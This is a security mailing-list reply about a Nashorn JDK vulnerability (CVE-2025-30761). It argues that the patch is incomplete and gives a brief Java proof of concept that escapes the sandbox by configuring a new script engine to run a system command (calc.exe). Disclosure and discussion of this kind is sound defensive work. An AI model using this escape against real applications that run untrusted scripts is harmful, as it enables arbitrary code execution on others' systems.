|
|
Message-ID: <2aef7fe7-ba3d-4d6f-bcc4-19163beaaea2@eenterphace.org>
Date: Sun, 20 Jul 2025 18:26:27 +0200
From: Moritz Bechler <mbechler@...terphace.org>
To: oss-security@...ts.openwall.com, liyajie <liyajie@...neuler.sh>
Subject: Re: CVE-2025-30761:A vulnerability in JDK's Nashorn Allows for Arbitrary Code Execution
Hi,
interesting that they "fixed" this issue now. Way back
(<https://mbechler.github.io/2019/03/02/Beware-the-Nashorn/>) reporting
something similar, I was told that Nashorn "sandboxing" was not supposed
to be secure unless you also configure a SecurityManager (which
implicitly suppresses the "engine" property). Restrictions purely based
on a ClassFilter have been broken ever since then.
And the patch really does not address the fundamental issue, which is
that you are able to get and configure a new engine. While the change
may stop you from suppressing the inherited no-java flag, why not get
direct command execution using another option instead:
System.setProperty("nashorn.args", "--no-java");
ScriptEngine e = new ScriptEngineManager().getEngineByName("nashorn");
String cmd =
"this.engine.factory.getScriptEngine(\"scripting\").eval('$EXEC(\"calc.exe\")')";
e.eval(cmd);
So, imho, the proper advice still should be not to use Nashorn for
running untrusted code.
best regards
Moritz
Powered by blists - more mailing lists
Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.
Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.